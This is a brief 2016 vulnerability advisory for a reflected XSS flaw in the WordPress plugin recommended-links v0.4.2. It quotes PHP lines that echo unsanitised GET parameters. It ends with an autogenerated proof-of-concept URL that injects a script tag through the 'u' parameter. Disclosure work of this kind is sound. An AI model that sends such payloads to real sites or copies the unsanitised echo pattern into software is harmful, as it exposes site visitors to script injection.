Advisory #: 255
Title: Reflected XSS in wordpress plugin recommended-links v0.4.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/recommended-links
Downloads: 2146
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: recommended-links
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./recommended-links/ajax-functions.php: 148: url: '<?php echo $_GET['u']; ?>', 149: title: '<?php echo $_GET['t']; ?>', 150: description: '<?php echo $_GET['s']; ?>' The variable u appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./recommended-links/ajax-functions.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/recommended-links/ajax-functions.php?u="><script>alert(1);</script><"